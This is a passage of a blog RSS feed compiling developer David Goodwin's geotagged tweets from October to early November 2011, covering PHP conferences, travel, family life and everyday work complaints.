		<description><![CDATA[Arbitrary tweets made by TheGingerDog (i.e. David Goodwin) up to 04 November 2011 Lets drop tablet PCs out of a &#8216;copter into villages, then come back 1 year later &#38; see if they can read! t.co/m0GE34Io #olpc #wtf (2011/11/04) RT @ThePoke: WHSmith have pulled off a publishing coup t.co/cTQKuWwC (2011/11/03) Suggestions sought for something to &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-04-november-2011/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Arbitrary tweets made by <a href="http://twitter.com/TheGingerDog">TheGingerDog</a> (i.e. David Goodwin) up to 04 November 2011</p>
<p><span id="more-456"></span></p>
<ul>
<li>
<div class="tweet-text">Lets drop tablet PCs out of a &#8216;copter into villages, then come back 1 year later &amp; see if they can read! <a href="http://t.co/m0GE34Io">t.co/m0GE34Io</a> <a href="http://twitter.com/search?q=#olpc">#olpc</a> <a href="http://twitter.com/search?q=#wtf">#wtf</a></div>
<div class="tweet-details">(2011/11/04)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/ThePoke">@ThePoke</a>: WHSmith have pulled off a publishing coup <a href="http://t.co/cTQKuWwC">t.co/cTQKuWwC</a></div>
<div class="tweet-details">(2011/11/03)</div>
</li>
<li>
<div class="tweet-text">Suggestions sought for something to assist internal code reviews (perhaps with workflow support?) keywords: git/svn/php/js/trac.</div>
<div class="tweet-details">(2011/11/03, <a href="http://maps.google.com/maps?q=52.34751415,-2.05883737&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I managed to talk to my sister for 30 minutes. That&#8217;s almost a record.</div>
<div class="tweet-details">(2011/11/03, <a href="http://maps.google.com/maps?q=52.34751466,-2.05894617&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">That was very yummy sushi for lunch. Strange that the restaurant is pretty much hidden via a random grocery shop.</div>
<div class="tweet-details">(2011/11/03, <a href="http://maps.google.com/maps?q=51.51913464,-0.12928444&amp;iwloc=A&amp;hl=en">Camden, London</a>)</div>
</li>
<li>
<div class="tweet-text">Off to London. It&#8217;s almost as if there&#8217;s a conspiracy to stop me being at the office this week.</div>
<div class="tweet-details">(2011/11/03, <a href="http://maps.google.com/maps?q=52.43715673,-1.7130776&amp;iwloc=A&amp;hl=en">Solihull, Solihull</a>)</div>
</li>
<li>
<div class="tweet-text">Dear neighbours, while I&#8217;m not wanting to be judgemental, I really think your &#8220;Leigh-un&#8221; (18-24 mths?) should be asleep now. Kthxbai.</div>
<div class="tweet-details">(2011/11/02, <a href="http://maps.google.com/maps?q=52.34467588,-2.06861662&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">It&#8217;s too late to check if this &#8220;is the flight to Liverpool?&#8221; once you&#8217;re on the plane in spain and the doors are shut.</div>
<div class="tweet-details">(2011/11/01, <a href="http://maps.google.com/maps?q=53.33856892,-2.80051112&amp;iwloc=A&amp;hl=en">Halton, Halton</a>)</div>
</li>
<li>
<div class="tweet-text">Hello Liverpool. I see you greet me with rain.</div>
<div class="tweet-details">(2011/11/01, <a href="http://maps.google.com/maps?q=53.33856892,-2.80051112&amp;iwloc=A&amp;hl=en">Halton, Halton</a>)</div>
</li>
<li>
<div class="tweet-text">Goodbye Barcelona.</div>
<div class="tweet-details">(2011/11/01, <a href="http://maps.google.com/maps?q=41.24486679,1.76714211&amp;iwloc=A&amp;hl=en">Sant Pere de Ribes, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Silly Spanish have TVs measured in inches. I wonder if the French do? I thought metric was the way forward and imperial was for us Anglos&#8230;</div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.35745297,2.06698173&amp;iwloc=A&amp;hl=en">Cornellà de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/grifferz">@grifferz</a>: ♺ <a href="http://twitter.com/undunc">@undunc</a>: Do NOT attempt to answer this question <a href="http://t.co/NPHfgboX">t.co/NPHfgboX</a> &#8211; your head will explode</div>
<div class="tweet-details">(2011/10/28)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/OpenRightsGroup">@OpenRightsGroup</a>: Bytemark donating £3k a year hosting to ORG! Thank you <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://t.co/k9A09UkX">t.co/k9A09UkX</a> <a href="http://t.co/A8mKL0Qt">t.co/A8mKL0Qt</a></div>
<div class="tweet-details">(2011/10/28)</div>
</li>
<li>
<div class="tweet-text">Time to learn more about Apache solr. <a href="http://twitter.com/search?q=#pbc11">#pbc11</a>.</div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.36002943,2.06179394&amp;iwloc=A&amp;hl=en">Cornellà de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Nice to see a presentation using memegenerator.net <a href="http://twitter.com/search?q=#pbc11">#pbc11</a> and it&#8217;s sponsored my Microsoft.</div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.3602376,2.06188499&amp;iwloc=A&amp;hl=en">Cornellà de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Yummy yummy. <a href="http://twitter.com/search?q=#pbc11">#pbc11</a> <a href="http://t.co/AXljCZog">t.co/AXljCZog</a></div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.35967152,2.06174508&amp;iwloc=A&amp;hl=en">Cornellà de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Stopping every ~25 mins is similar to some anti RSI techniques (forced breaks) (cc/<a href="http://twitter.com/giorgiosironi">@giorgiosironi</a>) ubuntu has something which helps <a href="http://twitter.com/search?q=#pbc11">#pbc11</a></div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.35957294,2.05864351&amp;iwloc=A&amp;hl=en">Sant Joan Despí, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Thanks <a href="http://twitter.com/giorgiosironi">@giorgiosironi</a> &#8211; Pomodoro technique &#8211; Good slides/presentation. Interesting stuff. <a href="http://twitter.com/search?q=#pbc11">#pbc11</a></div>
<div class="tweet-details">(2011/10/28, <a href="http://maps.google.com/maps?q=41.37062227,1.9907127&amp;iwloc=A&amp;hl=en">Torrelles de Llobregat, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Hola Barcelona.</div>
<div class="tweet-details">(2011/10/27, <a href="http://maps.google.com/maps?q=41.36195519,2.04416747&amp;iwloc=A&amp;hl=en">Santa Coloma de Cervelló, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">While waiting for easyjet to sort out the plane to Barcelona, it seems all my customers want to phone me. Great timing people!</div>
<div class="tweet-details">(2011/10/27, <a href="http://maps.google.com/maps?q=53.33761674,-2.85629332&amp;iwloc=A&amp;hl=en">Liverpool, Liverpool</a>)</div>
</li>
<li>
<div class="tweet-text">Well, the Richard Grey remix of Thriller was a mistake wasn&#8217;t it. <a href="http://twitter.com/search?q=#abp">#abp</a>-80s</div>
<div class="tweet-details">(2011/10/27, <a href="http://maps.google.com/maps?q=52.34732708,-2.05881527&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The RedCross must think I&#8217;m poor or stingy &#8211; they&#8217;ve sent me two free Xmas cards in the post. Still that&#8217;s my mother and sister sorted!</div>
<div class="tweet-details">(2011/10/26, <a href="http://maps.google.com/maps?q=52.34739473,-2.05876278&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The work fridge has been literally filled with Aero yoghurts and chocolate cheesecakes. They fell out as I opened the door <a href="http://twitter.com/search?q=#diet">#diet</a> <a href="http://twitter.com/search?q=#seefood">#seefood</a></div>
<div class="tweet-details">(2011/10/26)</div>
</li>
<li>
<div class="tweet-text">Thanks for killing yourself Dovecot. Much appreciated. <a href="http://t.co/A3sCQii0">t.co/A3sCQii0</a></div>
<div class="tweet-details">(2011/10/26)</div>
</li>
<li>
<div class="tweet-text">Amazon have started to send me emails suggesting Thomas trains, Misty Islands, Diesel Steamworks and more. Peep-Peep-Peep.</div>
<div class="tweet-details">(2011/10/26)</div>
</li>
<li>
<div class="tweet-text">Looking at the <a href="http://twitter.com/phpbarcelona">@phpbarcelona</a> conference schedule &#8211; it looks good!</div>
<div class="tweet-details">(2011/10/26, <a href="http://maps.google.com/maps?q=52.34017884,-2.0656116&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Wondering why a customer has emailed saying : &#8220;&#8230;. is pretty urgent lol&#8221;.<br />
Should I reply dropping random &#8216;lol&#8217;s in?</div>
<div class="tweet-details">(2011/10/25)</div>
</li>
<li>
<div class="tweet-text">The sales droid listened to Nyancat for 3m+; I&#8217;ve just been sidetracked into wasting 20 minutes creating a Nyancat iphone ringtone :~\</div>
<div class="tweet-details">(2011/10/25)</div>
</li>
<li>
<div class="tweet-text">*ring ring*<br />
&#8220;Hi, it&#8217;s Tom from FedEx&#8230; doing a quick data cleanse, it won&#8217;t take long.&#8221;,<br />
&#8220;Yes, I&#8217;ll put you through&#8221;<br />
*Ext 106 Mr NYANCAT*</div>
<div class="tweet-details">(2011/10/25)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/sussex_police">@sussex_police</a>: anyone planning to rise from the dead for Beach of the Dead tomorrow, make sure you respect the city in your hunt for &#8230;</div>
<div class="tweet-details">(2011/10/23)</div>
</li>
<li>
<div class="tweet-text">The Housman challenge. It involves shoes. <a href="http://twitter.com/search?q=#Bromsgrove">#Bromsgrove</a></div>
<div class="tweet-details">(2011/10/22, <a href="http://maps.google.com/maps?q=52.33565755,-2.06006044&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove 3xi vs Aldridge. 1:0 win <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a>)</div>
<div class="tweet-details">(2011/10/22, <a href="http://maps.google.com/maps?q=52.60585955,-1.91216303&amp;iwloc=A&amp;hl=en">Walsall, Walsall</a>)</div>
</li>
<li>
<div class="tweet-text">&#8220;Ilkley Black&#8221; is one of the best beers I&#8217;ve had all year; Thank you <a href="http://twitter.com/mybrewerytap">@mybrewerytap</a> (see <a href="http://t.co/mGFu0M1m">t.co/mGFu0M1m</a> and <a href="http://t.co/0QFQEHUN">t.co/0QFQEHUN</a> )</div>
<div class="tweet-details">(2011/10/21)</div>
</li>
<li>
<div class="tweet-text">I &lt;3 ack-grep, now I just need to figure out why WordPress isn&#8217;t allowing some image uploads when it /should/ god-damn-it</div>
<div class="tweet-details">(2011/10/21)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/mishacollins">@mishacollins</a>: Someone Twitted a petition to outlaw crushing kittens to death. But it&#8217;s a slippery slope. Next might we lose our righ &#8230;</div>
<div class="tweet-details">(2011/10/21)</div>
</li>
<li>
<div class="tweet-text">The fix I need for my car glove compartment &#8211; <a href="http://t.co/E2bbhq2Y">t.co/E2bbhq2Y</a> ( Thanks to <a href="http://twitter.com/Aypok">@Aypok</a> )</div>
<div class="tweet-details">(2011/10/21)</div>
</li>
<li>
<div class="tweet-text">Ended up buying two cheesy twist pastries in Coop for 20p &#8211; but I wanted chocolate ones. <a href="http://twitter.com/search?q=#fail">#fail</a> <a href="http://twitter.com/search?q=#PastriesAreCheapAfter7pm">#PastriesAreCheapAfter7pm</a>.</div>
<div class="tweet-details">(2011/10/20, <a href="http://maps.google.com/maps?q=52.34742522,-2.05876916&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">How does mediatemple&#8217;s ve hosting pass PCI DSS compliance scans when cpanel on :4643 seems vulnerable (assuming all host servers are equal)</div>
<div class="tweet-details">(2011/10/20)</div>
</li>
<li>
<div class="tweet-text">Today I ordered an SSD drive to run our work virtual machines off. I&#8217;m fed up of waiting for the VMs (mostly windows) to &#8220;do stuff&#8221;.</div>
<div class="tweet-details">(2011/10/20)</div>
</li>
<li>
<div class="tweet-text">I think my son is picking up Lenny Henry&#8217;s accent from a Cbeebies online flash game (big and small).</div>
<div class="tweet-details">(2011/10/20, <a href="http://maps.google.com/maps?q=52.33921718,-2.05943018&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Bicycle puncture problem solved &#8211; tyre is worn out. Stupid thin skinny thing &#8230; I miss my mountain bike.</div>
<div class="tweet-details">(2011/10/19)</div>
</li>
<li>
<div class="tweet-text">Recently on my local freecycle group: &#8220;In desperate need of a TV any size or make a flat screen model would be greatful&#8221; <a href="http://twitter.com/search?q=#sigh">#sigh</a></div>
<div class="tweet-details">(2011/10/19)</div>
</li>
<li>
<div class="tweet-text">Stupid €$¥$ing bicycle has another flat rear tyre. I&#8217;m starting to think my rear wheel is dead. Grrrrr.</div>
<div class="tweet-details">(2011/10/19, <a href="http://maps.google.com/maps?q=52.33953624,-2.05952805&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/tdmderrin">@tdmderrin</a>: I&#8217;m hiring! Java &amp; PHP Developer / Linux Server Admin at TDM Ltd &#8211; Dudley, United Kingdom <a href="http://twitter.com/search?q=#jobs">#jobs</a> <a href="http://t.co/iXY5ikQH">t.co/iXY5ikQH</a></div>
<div class="tweet-details">(2011/10/19)</div>
</li>
<li>
<div class="tweet-text">Going back to the retrospective NDA &#8211; they spelt their company name incorrectly&#8230; *sigh*.</div>
<div class="tweet-details">(2011/10/18)</div>
</li>
<li>
<div class="tweet-text">&#8220;Now you&#8217;ve done some work for us, could you sign an NDA please?&#8221;<br />
Horse. Stable. Door. Shut.</div>
<div class="tweet-details">(2011/10/18)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: It&#8217;s free beer day ! (thanks <a href="http://twitter.com/mybrewerytap">@mybrewerytap</a> &#8211; selection looks great!) <a href="http://t.co/Q4XeOdeZ">t.co/Q4XeOdeZ</a></div>
<div class="tweet-details">(2011/10/18)</div>
</li>
<li>
<div class="tweet-text">My son has been nagging me to tidy up! <a href="http://twitter.com/search?q=#TheWormHasTurned">#TheWormHasTurned</a>.</div>
<div class="tweet-details">(2011/10/17, <a href="http://maps.google.com/maps?q=52.34743003,-2.05882135&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/guardiantech">@guardiantech</a>: BlackBerry users in line for $100 worth of free apps in compensation <a href="http://t.co/qKlNoAWk">t.co/qKlNoAWk</a></div>
<div class="tweet-details">(2011/10/17)</div>
</li>
<li>
<div class="tweet-text">Ordered some new balls for Screwball Scramble; only £3 inc postage &#8211; bargain &#8211; thank you <a href="http://twitter.com/TomyToys">@TomyToys</a> !</div>
<div class="tweet-details">(2011/10/17)</div>
</li>
<li>
<div class="tweet-text">&#8220;I&#8217;m ill&#8230;. Trains? Did you say Trains?&#8230;. Yes please!!!!&#8221; <a href="http://t.co/8HHELEqS">t.co/8HHELEqS</a></div>
<div class="tweet-details">(2011/10/17, <a href="http://maps.google.com/maps?q=52.34749945,-2.05888704&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Pewari">@Pewari</a>: Mind you, Siri just offered to remind me that <a href="http://twitter.com/akrabat">@akrabat</a> is my husband. I hadn&#8217;t realised our relationship was that bad&#8230;</div>
<div class="tweet-details">(2011/10/15)</div>
</li>
<li>
<div class="tweet-text">&#8220;Inbox &#8212; PalePurple mail (david) (666 messages)&#8221; I can&#8217;t help but think there&#8217;s a hint in there somewhere.</div>
<div class="tweet-details">(2011/10/15)</div>
</li>
<li>
<div class="tweet-text">Students in the sea. Weirdos. <a href="http://t.co/8xBiNkif">t.co/8xBiNkif</a></div>
<div class="tweet-details">(2011/10/15, <a href="http://maps.google.com/maps?q=52.41687982,-4.08520148&amp;iwloc=A&amp;hl=en">Ceredigion, Ceredigion</a>)</div>
</li>
<li>
<div class="tweet-text">Hello Aberystwyth</div>
<div class="tweet-details">(2011/10/15, <a href="http://maps.google.com/maps?q=52.41216672,-4.08369098&amp;iwloc=A&amp;hl=en">Ceredigion, Ceredigion</a>)</div>
</li>
<li>
<div class="tweet-text">The tit who nearly drove into me while cutting the corner subsequently bashed someone else on another corner he cut 100 metres away.</div>
<div class="tweet-details">(2011/10/14, <a href="http://maps.google.com/maps?q=52.38121017,-2.25128177&amp;iwloc=A&amp;hl=en">Wyre Forest, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Screme egg? Whatever next ? Nice idea cadburys. <a href="http://t.co/jas3ja99">t.co/jas3ja99</a></div>
<div class="tweet-details">(2011/10/14, <a href="http://maps.google.com/maps?q=52.28870308,-2.00011283&amp;iwloc=A&amp;hl=en">Redditch, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Screw ball scramble! <a href="http://t.co/jVKtnrsJ">t.co/jVKtnrsJ</a></div>
<div class="tweet-details">(2011/10/14, <a href="http://maps.google.com/maps?q=52.34726002,-2.05855186&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Almost sent a quote to a customer where I&#8217;d mixed up hourly and daily rates. They almost had a bargain!</div>
<div class="tweet-details">(2011/10/14, <a href="http://maps.google.com/maps?q=52.34726002,-2.05855186&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Sales Droid: &#8220;So what do you like most about your current mobile handset&#8221;<br />
Me: &#8220;It&#8217;s expensive&#8221;<br />
Sales Droid: &lt;KThxBai/&gt;</div>
<div class="tweet-details">(2011/10/13)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/glynmoody">@glynmoody</a>: UK gov admits it has *no* evidence &#8220;on the scale &amp; nature of infringement of copyright by websites&#8221; &#8211; <a href="http://t.co/4pGH6Jp">t.co/4pGH6Jp</a> &#8230;</div>
<div class="tweet-details">(2011/10/13)</div>
</li>
<li>
<div class="tweet-text">What a rubbish showcase(?) for the UK Web design industry &#8211; <a href="http://t.co/dZih5CQJ">t.co/dZih5CQJ</a> <a href="http://twitter.com/search?q=#tables">#tables</a> <a href="http://twitter.com/search?q=#W3CValidationFail">#W3CValidationFail</a> <a href="http://twitter.com/search?q=#annoyingPopup">#annoyingPopup</a> <a href="http://twitter.com/ukwda">@ukwda</a></div>
<div class="tweet-details">(2011/10/13)</div>
</li>
<li>
<div class="tweet-text">Ooh. It looks quite likely I&#8217;ll be in Rome training (PHP Security) for 3 days soon. <a href="http://twitter.com/search?q=#win">#win</a></div>
<div class="tweet-details">(2011/10/13, <a href="http://maps.google.com/maps?q=52.34742624,-2.05868279&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Wake up <a href="http://twitter.com/rowangoodwin">@rowangoodwin</a>!!</div>
<div class="tweet-details">(2011/10/13, <a href="http://maps.google.com/maps?q=52.34746474,-2.05873435&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/jbrains">@jbrains</a>: int main(int argc, char** argv) { printf(&#8220;Goodbye, Dennis.\n&#8221;); return 0; }</div>
<div class="tweet-details">(2011/10/13)</div>
</li>
<li>
<div class="tweet-text">Force-feeding death mother guilty &#8211; <a href="http://t.co/gSrS5JQx">t.co/gSrS5JQx</a></div>
<div class="tweet-details">(2011/10/12, <a href="http://maps.google.com/maps?q=52.34738673,-2.05875564&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Client: &#8220;Can we just leverage &#8230;&#8221;<br />
Me (thinking): isn&#8217;t over leveraging what got the economy in this trouble &#8230;</div>
<div class="tweet-details">(2011/10/12, <a href="http://maps.google.com/maps?q=52.34742974,-2.05894354&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Seti<a href="http://twitter.com/home">@home</a> email fail &#8230;. <a href="http://t.co/3NV92omi">t.co/3NV92omi</a></div>
<div class="tweet-details">(2011/10/12, <a href="http://maps.google.com/maps?q=52.34750296,-2.05887347&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I&#8217;m surprised &#8220;they&#8221; still sell bangers for kids to throw around. <a href="http://twitter.com/search?q=#fireworks">#fireworks</a> <a href="http://twitter.com/search?q=#sortof">#sortof</a></div>
<div class="tweet-details">(2011/10/12, <a href="http://maps.google.com/maps?q=52.34529922,-2.06767841&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Co-Op sell a yummy chocolate cherry cheese cake; but &#8211; ~50% of daily fat/sugar allowance. Now I want another.</div>
<div class="tweet-details">(2011/10/12)</div>
</li>
<li>
<div class="tweet-text">Found a &#8216;:w&#8217; embedded in an SQL query. It&#8217;d been there for a year and no one had noticed&#8230; oops.</div>
<div class="tweet-details">(2011/10/11)</div>
</li>
<li>
<div class="tweet-text">It&#8217;s a hard morning when the kids sleep in till 8am. <a href="http://twitter.com/search?q=#jinxingHimself">#jinxingHimself</a></div>
<div class="tweet-details">(2011/10/11, <a href="http://maps.google.com/maps?q=52.3475423,-2.05883079&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/InjusticeFacts">@InjusticeFacts</a>: In the 1970s Nestle killed more than 400,000 children in developing countries by promoting infant formula over breas &#8230;</div>
<div class="tweet-details">(2011/10/10)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: Website updated &#8211; we&#8217;d love your feedback &#8211; <a href="http://t.co/6jeU6tLH">t.co/6jeU6tLH</a></div>
<div class="tweet-details">(2011/10/10)</div>
</li>
<li>
<div class="tweet-text">My bike&#8217;s puncture was from a loose spoke. First time for a loose spoke.</div>
<div class="tweet-details">(2011/10/09, <a href="http://maps.google.com/maps?q=52.34737547,-2.05888781&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">My smoke alarm is rubbish. It&#8217;s &lt;5 metres away from my sleeping daughter, and it didn&#8217;t wake her up when it went off. <a href="http://twitter.com/search?q=#ExcellentCooking">#ExcellentCooking</a></div>
<div class="tweet-details">(2011/10/09, <a href="http://maps.google.com/maps?q=52.34742714,-2.05883014&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Have you already submitted your response to new BBC Micro project? Please encourage others in your network as well <a href="http://t.co/iaYA1XqF">t.co/iaYA1XqF</a></div>
<div class="tweet-details">(2011/10/09, <a href="http://maps.google.com/maps?q=52.34744141,-2.05869909&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/BytemarkUK">@BytemarkUK</a>: <a href="http://t.co/yyKGZVE0">t.co/yyKGZVE0</a> &#8211; lots of new features in the latest client/server release including additional IPv4 addresses and &#8230;</div>
<div class="tweet-details">(2011/10/09)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/portseven">@portseven</a>: Have you already submitted your response to new BBC Micro project? Please encourage others in your network as well http:/ &#8230;</div>
<div class="tweet-details">(2011/10/09)</div>
</li>
<li>
<div class="tweet-text">It seems child[0] is having a bad day.</div>
<div class="tweet-details">(2011/10/09, <a href="http://maps.google.com/maps?q=52.34756042,-2.05888656&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Thank you to the <a href="http://twitter.com/search?q=#phpnw11">#phpnw11</a> organisers and crew. Excellent conference &#8211; it keeps growing each year.</div>
<div class="tweet-details">(2011/10/08, <a href="http://maps.google.com/maps?q=53.48173302,-2.23678517&amp;iwloc=A&amp;hl=en">Manchester, Manchester</a>)</div>
</li>
<li>
<div class="tweet-text">Great talk by <a href="http://twitter.com/scottmac">@scottmac</a> on facebook. Scary data figures, awesome automation and tools.#phpnw11</div>
<div class="tweet-details">(2011/10/08, <a href="http://maps.google.com/maps?q=53.48073342,-2.23625646&amp;iwloc=A&amp;hl=en">Manchester, Manchester</a>)</div>
</li>
<li>
<div class="tweet-text">Thank you <a href="http://twitter.com/PHPWomen">@PHPWomen</a> for the birthday cake <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/search?q=#phpnw11">#phpnw11</a> <a href="http://twitter.com/search?q=#unconference">#unconference</a></div>
<div class="tweet-details">(2011/10/08, <a href="http://maps.google.com/maps?q=53.48166501,-2.23995965&amp;iwloc=A&amp;hl=en">Manchester, Manchester</a>)</div>
</li>
<li>
<div class="tweet-text">Failing to understand what to do with the wifi codes at the venue &#8211; what network name are they for? <a href="http://twitter.com/search?q=#phpnw">#phpnw</a></div>
<div class="tweet-details">(2011/10/08, <a href="http://maps.google.com/maps?q=53.48100185,-2.23671025&amp;iwloc=A&amp;hl=en">Manchester, Manchester</a>)</div>
</li>
<li>
<div class="tweet-text">Arrived at phpnw. &lt;?php echo &#8220;Hello all. &#8220;; ?&gt;</div>
<div class="tweet-details">(2011/10/08, <a href="http://maps.google.com/maps?q=53.10677363,-2.3394544&amp;iwloc=A&amp;hl=en">Cheshire East, Cheshire East</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/anya_goodwin">@anya_goodwin</a>: Don&#8217;t come to bed too early Daddy. If you do I&#8217;ll only wake you up at<br />
midnight for a drink&#8230;.</div>
<div class="tweet-details">(2011/10/06)</div>
</li>
<li>
<div class="tweet-text">Crap. My calf feels like it wants to cramp up tonight as well. Grrr.</div>
<div class="tweet-details">(2011/10/05, <a href="http://maps.google.com/maps?q=52.34035283,-2.06052392&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Children asleep. Now for a bit of work and some hot chocolate before I join them.</div>
<div class="tweet-details">(2011/10/05, <a href="http://maps.google.com/maps?q=52.34757333,-2.0589287&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Tom_Messett">@Tom_Messett</a>: Guy buying train coffee. &#8220;No lid thanks.&#8221; &#8211; You have to, it&#8217;s health &amp; safety &#8211; &#8220;I&#8217;ve just come back from Afghanistan, &#8230;</div>
<div class="tweet-details">(2011/10/05)</div>
</li>
<li>
<div class="tweet-text">CV arrives in post (sent to v old address), contains, invalid email address (no @) and says he&#8217;s interested in his Girlfriend. <a href="http://twitter.com/search?q=#wtf">#wtf</a></div>
<div class="tweet-details">(2011/10/05, <a href="http://maps.google.com/maps?q=52.33950397,-2.05571288&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/NixiePixel">@NixiePixel</a>: &#8220;A train station is where a train stops. A bus station is where a bus stops. On my desk, I have a workstation&#8230;&#8221;</div>
<div class="tweet-details">(2011/10/05)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Oatmeal">@Oatmeal</a>: An iPhone 4s, you say? <a href="http://t.co/pgBJrxfa">t.co/pgBJrxfa</a></div>
<div class="tweet-details">(2011/10/05)</div>
</li>
<li>
<div class="tweet-text">Time to run across Bromsgrove armed with my hockey sticks. Come on zombies come and get me. <a href="http://twitter.com/search?q=#IWillBeReady">#IWillBeReady</a> <a href="http://twitter.com/search?q=#apocalypse">#apocalypse</a></div>
<div class="tweet-details">(2011/10/04, <a href="http://maps.google.com/maps?q=52.34751222,-2.05886177&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I can only think of BLUE after seeing this. <a href="http://t.co/nAicyK6R">t.co/nAicyK6R</a></div>
<div class="tweet-details">(2011/10/04, <a href="http://maps.google.com/maps?q=52.45019203,-1.72636804&amp;iwloc=A&amp;hl=en">Solihull, Solihull</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/Lord_G_Almighty">@Lord_G_Almighty</a>: Why do people insist on upsetting Jesus by wearing crosses? I bet Princess Diana doesn&#8217;t wear a Mercedes Benz penda &#8230;</div>
<div class="tweet-details">(2011/10/04)</div>
</li>
<li>
<div class="tweet-text">Hopefully heading home from London soon. Perhaps I&#8217;ll be in time for hockey training this evening <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/10/04, <a href="http://maps.google.com/maps?q=51.52851991,-0.13466748&amp;iwloc=A&amp;hl=en">Camden, London</a>)</div>
</li>
<li>
